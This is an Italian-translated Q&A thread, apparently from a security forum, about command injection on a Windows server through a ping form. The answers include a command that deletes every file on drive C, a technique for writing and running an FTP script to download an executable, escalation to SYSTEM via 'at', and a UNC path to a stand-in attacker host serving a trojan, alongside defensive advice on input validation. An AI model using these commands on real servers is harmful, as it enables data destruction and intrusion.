Piattaforma Windows per l'iniezione di comandi

2

Diciamo che c'è un sito che è vulnerabile all'input dell'utente.

Ad esempio, gli utenti possono eseguire il ping di un IP specificato.

Poiché il sito è vulnerabile al comando di comando Os, un utente e un indirizzo IP lui / lei decide di aggiungere il seguente comando:

;ls

Quindi in realtà ciò che inserisce è: 198.71.xxx.xx ;ls

; sta per separatore per i comandi nella stessa riga

ls significa elencare il contenuto di una directory

Ovviamente, ciò che ho scritto sopra è valido se e solo se il sistema operativo del server sottostante è simile a Unix.

La mia domanda: nel caso in cui l'Os sia Windows (Windows Server 2003 o qualsiasi altra versione anche più recente) cosa dovrebbe scrivere un utente malintenzionato dopo l'IP?

dir è l'unica cosa o forse un altro comando più pericoloso?

È solo per scopi di studio.

Grazie mille

    
posta g9999 27.12.2012 - 15:56
fonte

2 risposte

3

Bene, la cosa più distruttiva che posso pensare è del /f /s /q c:\* , che cancella tutti i file sul disco C.

Un buon modo per ottenere un ulteriore accesso è concatenare un gruppo di comandi echo con reindirizzamenti allegati (ad esempio echo test >> c:\commands.txt ) per scrivere un set di comandi FTP in un file, quindi eseguire ftp -s:c:\commands.txt [host] per eseguire quei comandi sul server e scarica un eseguibile. Possiamo quindi fare una richiesta finale per eseguire quell'eseguibile.

In generale un'iniezione di comando può essere molto pericolosa, perché equivale ad avere gli stessi privilegi dell'account che esegue il servizio vulnerabile. Peggio ancora, se stai utilizzando un sistema operativo basato su XP, l'utilità di pianificazione consente una facile escalation dei privilegi su SYSTEM , tramite il comando at .

    
risposta data 27.12.2012 - 16:05
fonte
1

Il separatore dei comandi su Windows è & anziché ; .

Il reindirizzamento dell'output utilizzando > è un'altra caratteristica della shell generale potenzialmente pericolosa da considerare se non puoi arrivare a & , come potresti usare per scrivere su qualsiasi file.

L'escaping dei metacaratteri della shell di Windows per consentire un uso sicuro di input arbitrari è molto difficile da ottenere. (Esiste una regola, ma è strana e scarsamente documentata). Se è assolutamente necessario generare un comando utilizzando la shell su una casella di Windows (questo è quasi sempre meglio evitato), è consigliabile una validazione dell'input di whitelist avanzata.

Per quanto riguarda i comandi che vengono eseguiti quando si esegue l'iniezione di comandi, è tradizione provare a scaricare ed eseguire un eseguibile (in genere trojan di amministrazione remota) attraverso qualunque mezzo si possa attraversare qualsiasi firewall di rete a monte dal server web. Questo potrebbe essere:

  • da un percorso UNC ( \attacker.example.com\trojan.exe )
  • utilizzando FTP
  • scrivere su un file VBScript e poi eseguirlo per scaricarlo da una risorsa HTTP
risposta data 29.12.2012 - 00:00
fonte

Leggi altre domande sui tag